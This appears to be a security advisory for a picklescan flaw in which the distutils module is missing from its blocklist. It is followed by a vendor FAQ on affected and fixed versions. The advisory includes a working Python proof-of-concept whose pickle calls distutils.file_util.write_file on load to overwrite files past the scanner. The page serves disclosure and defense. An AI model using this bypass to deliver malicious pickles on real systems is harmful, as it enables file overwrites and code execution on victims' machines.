CVE-2025-71321

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")

To fix this just add disutil to the blacklist

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

Kodem intelligence

1. What is CVE-2025-71321? CVE-2025-71321 is a high-severity insecure deserialization vulnerability in picklescan (pip), affecting versions < 0.0.33. It is fixed in 0.0.33. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. Which versions of picklescan are affected by CVE-2025-71321? picklescan (pip) versions < 0.0.33 is affected.
3. Is there a fix for CVE-2025-71321? Yes. CVE-2025-71321 is fixed in 0.0.33. Upgrade to this version or later.
4. Is CVE-2025-71321 exploitable, and should I be worried? Whether CVE-2025-71321 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-71321 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-71321? Upgrade picklescan to 0.0.33 or later.